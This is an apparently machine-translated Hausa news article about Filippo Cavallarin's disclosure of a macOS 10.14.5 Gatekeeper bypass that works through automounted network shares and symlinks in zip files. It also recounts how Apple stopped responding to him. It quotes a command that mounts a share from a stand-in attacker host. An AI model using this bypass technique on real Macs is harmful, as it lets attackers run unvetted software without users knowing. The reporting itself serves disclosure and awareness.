Yana da sauƙi don shigar da ƙa'idar mugunta akan Mac. Apple bai gyara kuskuren ba ko da bayan watanni uku

Mai binciken tsaro Filippo Cavallarin ya buga gargadi game da kwaro a cikin macOS 10.14.5 akan shafin sa. Wannan ya kunshi yuwuwar tsallake matakan tsaro gaba daya. A cewar Cavallarin, ya nuna kuskuren ga Apple a cikin Fabrairu na wannan shekara, amma kamfanin bai gyara shi a cikin sabon sabuntawa ba.

Kamfanin Apple ne ya kirkiri Gatekeeper kuma ya shigar da shi cikin tsarin masarrafar tebur a karon farko a shekarar 2012. Hanya ce da ke hana aikace-aikace aiki ba tare da sanin mai amfani da shi ba. Bayan ka zazzage manhaja, Mai tsaron Kofa ta atomatik yana bincika lambar sa don ganin ko software ɗin na da sa hannun Apple yadda ya kamata.

A cikin gidan yanar gizon sa, Cavallarin ya bayyana cewa Mai tsaron gida, ta tsohuwa, yana ɗaukar duka ajiyar waje da hannun jarin cibiyar sadarwa don zama amintattun wurare. Duk wani aikace-aikacen da ke zaune a cikin waɗannan maƙasudin ana iya ƙaddamar da shi ta atomatik ba tare da shiga ta hanyar duban Ƙofar ba. Wannan fasalin ne za a iya amfani da shi don ƙaddamar da software mara kyau ba tare da sanin mai amfani ba.

Ɗaya daga cikin al'amuran da ke ba da damar shiga mara izini shine fasalin automount, wanda ke ba masu amfani damar hawan hanyar sadarwa ta atomatik ta hanyar ƙayyade hanyar da ta fara da "/net/". Alal misali, Cavallarin ya buga hanyar "ls /net/evil-attacker.com/sharedfolder/" wanda zai iya sa tsarin aiki ya loda abubuwan da ke cikin babban fayil na "sharedfolder" a wuri mai nisa wanda zai iya zama mai haɗari.

Kuna iya kallon yadda barazanar ke aiki a cikin bidiyon:

Wani abu kuma shine gaskiyar cewa idan an raba rumbun ajiyar zip mai dauke da takamaiman alamar alamar da ke kai ga aikin automount, mai tsaron ƙofa ba zai duba shi ba. Ta wannan hanyar, wanda aka azabtar zai iya saukar da mugayen tarihin cikin sauƙi kuma ya buɗe shi, yana ba maharin damar gudanar da kusan kowace software akan Mac ba tare da sanin mai amfani ba. Mai Neman, wanda ke ɓoye wasu kari ta hanyar tsohuwa, shima yana da nasa rabon wannan raunin.

Cavallarin ya bayyana a shafinsa na yanar gizo cewa Apple ya jawo hankali ga raunin tsarin aiki na macOS a ranar 22 ga Fabrairu na wannan shekara. Amma a tsakiyar watan Mayu, Apple ya daina sadarwa tare da Cavallarin, don haka Cavallarin ya yanke shawarar bayyana duk abin da ke faruwa a fili.

Source: Farashin FCVL